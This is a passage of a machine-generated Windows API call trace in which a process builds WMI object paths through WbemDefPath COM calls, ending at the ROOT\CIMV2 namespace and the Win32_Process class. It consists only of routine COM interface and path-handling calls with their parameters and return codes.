[7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc952f0) returned 0x0 [0151.339] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0151.340] WbemDefPath:IUnknown:AddRef (This=0x1bc952f0) returned 0x3 [0151.340] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0151.340] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0151.340] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc58d20) returned 0x0 [0151.340] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58d20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.340] WbemDefPath:IUnknown:Release (This=0x1bc58d20) returned 0x3 [0151.340] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0151.340] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0151.340] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0151.340] WbemDefPath:IUnknown:Release (This=0x1bc952f0) returned 0x2 [0151.340] WbemDefPath:IUnknown:Release (This=0x1bc952f0) returned 0x1 [0151.340] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0151.340] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0151.340] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc952f0) returned 0x0 [0151.341] WbemDefPath:IUnknown:AddRef (This=0x1bc952f0) returned 0x3 [0151.341] WbemDefPath:IUnknown:Release (This=0x1bc952f0) returned 0x2 [0151.341] WbemDefPath:IWbemPath:SetText (This=0x1bc952f0, uMode=0x4, pszPath="") returned 0x0 [0151.341] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc952f0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0151.341] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc953b0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0151.341] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc952f0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0151.341] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc952f0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0151.341] WbemDefPath:IWbemPath:SetServer (This=0x1bc952f0, Name="Q9IATRKPRH") returned 0x0 [0151.341] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0151.341] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0151.341] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0151.341] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.343] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc58d80) returned 0x0 [0151.343] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58d80, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0151.343] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58d80, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc95230) returned 0x0 [0151.343] WbemDefPath:IUnknown:Release (This=0x1bc58d80) returned 0x0 [0151.343] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc95230) returned 0x0 [0151.344] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0151.344] WbemDefPath:IUnknown:AddRef (This=0x1bc95230) returned 0x3 [0151.344] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0151.344] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0151.344] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc58dc0) returned 0x0 [0151.344] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58dc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.344] WbemDefPath:IUnknown:Release (This=0x1bc58dc0) returned 0x3 [0151.344] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0151.344] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0151.344] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0151.344] WbemDefPath:IUnknown:Release (This=0x1bc95230) returned 0x2 [0151.344] WbemDefPath:IUnknown:Release (This=0x1bc95230) returned 0x1 [0151.344] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0151.345] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0151.345] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95230, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc95230) returned 0x0 [0151.345] WbemDefPath:IUnknown:AddRef (This=0x1bc95230) returned 0x3 [0151.345] WbemDefPath:IUnknown:Release (This=0x1bc95230) returned 0x2 [0151.345] WbemDefPath:IWbemPath:SetText (This=0x1bc95230, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0151.345] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc952f0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0151.345] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95230, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0151.345] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95230, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0151.345] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95230, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0151.345] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc952f0) returned 0x0 [0151.345] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95230, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0151.345] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc95230, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0151.345] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc95230, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0151.345] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc952f0, uIndex=0x0, pszName="ROOT") returned 0x0 [0151.345] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc95230, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0151.345] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc95230, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0151.345] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc952f0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0151.345] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc952f0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0151.345] WbemDefPath:IWbemPath:SetClassName (This=0x1bc952f0, Name="Win32_Process") returned 0x0 [0151.345] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc952f0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0151.346] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc952f0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0151.346] WbemDefPath:IWbemPath:GetText (in: This=0x1bc952f0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0151.346] WbemDefPath:IWbemPath:GetText (in: This=0x1bc952f0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0151.346] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc952f0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0151.346] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc952f0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0151.346] WbemDefPath:IWbemPath:GetText (in: This=0x1bc952f0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0151.346] WbemDefPath:IWbemPath:GetText (in: This=0x1bc952f0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0151.346] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95530, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0151.346] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0151.346] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0151.346] WbemDefPath:IWbemPath:GetText (in: This=0x1bc952f0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0151.346] WbemDefPath:IWbemPath:GetText (in: This=0x1bc952f0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0151.346] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0151.346] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0151.346] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0151.346] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.348] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc586e0) returned 0x0 [0151.349] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc586e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0151.349] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc586e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc950b0) returned 0x0 [0151.349] WbemDefPath:IUnknown:Release (This=0x1bc586e0) returned 0x0 [0151.349] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc950b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc950b0) returned 0x0 [0151.349] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc950b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0151.349] WbemDefPath:IUnknown:AddRef (This=0x1bc950b0) returned 0x3 [0151.349] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc950b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0151.349] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc950b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0151.349] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc950b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc58720) returned 0x0 [0151.349] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58720, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.350] WbemDefPath:IUnknown:Release (This=0x1bc58720) returned 0x3 [0151.350] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0151.350] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0151.350] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc950b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0151.350] WbemDefPath:IUnknown:Release (This=0x1bc950b0) returned 0x2 [0151.350] WbemDefPath:IUnknown:Release (This=0x1bc950b0) returned 0x1 [0151.350] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0151.350] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0151.350] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc950b0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc950b0) returned 0x0 [0151.350] WbemDefPath:IUnknown:AddRef (This=0x1bc950b0) returned 0x3 [0151.350] WbemDefPath:IUnknown:Release (This=0x1bc950b0) returned 0x2 [0151.350] WbemDefPath:IWbemPath:SetText (This=0x1bc950b0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0151.350] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95530, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0151.350] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0151.350] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.350] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0151.350] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0151.350] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0151.351] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.352] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc587e0) returned 0x0 [0151.353] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc587e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0151.353] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc587e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc94ff0) returned 0x0 [0151.353] WbemDefPath:IUnknown:Release (This=0x1bc587e0) returned 0x0 [0151.353] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc94ff0) returned 0x0 [0151.353] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0151.356] WbemDefPath:IUnknown:AddRef (This=0x1bc94ff0) returned 0x3 [0151.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0151.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0151.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, 